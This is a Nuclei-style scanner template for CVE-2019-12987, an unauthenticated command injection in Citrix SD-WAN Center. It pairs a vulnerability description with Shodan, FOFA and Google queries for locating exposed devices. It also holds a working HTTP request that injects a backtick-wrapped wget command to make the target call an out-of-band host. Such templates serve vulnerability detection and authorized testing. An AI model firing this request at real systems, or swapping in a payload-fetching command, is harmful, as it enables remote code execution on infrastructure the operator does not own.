Citrix SD-WAN Center is susceptible to remote command injection via the apply action in StorageMgmtController. The callStoragePerl function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying an array value with crafted values for action, host, path, or type, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
PoC代码[已公开]
id: CVE-2019-12987
info:
name: Citrix SD-WAN Center - Remote Command Injection
author: gy741
severity: critical
description: |
Citrix SD-WAN Center is susceptible to remote command injection via the apply action in StorageMgmtController. The callStoragePerl function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying an array value with crafted values for action, host, path, or type, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data exfiltration, and potential compromise of the entire SD-WAN infrastructure.
remediation: |
Apply the latest security patches provided by Citrix to mitigate the vulnerability.
reference:
- https://www.tenable.com/security/research/tra-2019-31
- https://support.citrix.com/article/CTX251987
- https://nvd.nist.gov/vuln/detail/CVE-2019-12987
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-12987
cwe-id: CWE-78
epss-score: 0.92511
epss-percentile: 0.99729
cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: citrix
product: netscaler_sd-wan
shodan-query:
- http.title:"Citrix SD-WAN"
- http.title:"citrix sd-wan"
fofa-query: title="citrix sd-wan"
google-query: intitle:"citrix sd-wan"
tags: cve,cve2019,citrix,rce,unauth,oast,tenable
http:
- raw:
- |
GET /login HTTP/1.1
Host: {{Hostname}}
- |+
GET /Collector/storagemgmt/apply?data%5B0%5D%5Bhost%5D=%60/bin/wget+http://{{interactsh-url}}%60&data%5B0%5D%5Bpath%5D=mypath&data%5B0%5D%5Btype%5D=mytype HTTP/1.1
Host: {{Hostname}}
Accept: */*
unsafe: true
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(body_1, "<title>Citrix SD-WAN</title>")'
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 4b0a00483046022100a653c37c4ca62a21fd11bdad7a8814c8f3715b7425f93b882b02e9171145831a022100d4361a51904641184b75f560ba61e4bc9cbedcb2a98711fe51438637d60335ed:922c64590222798bb761d5b6d8e72950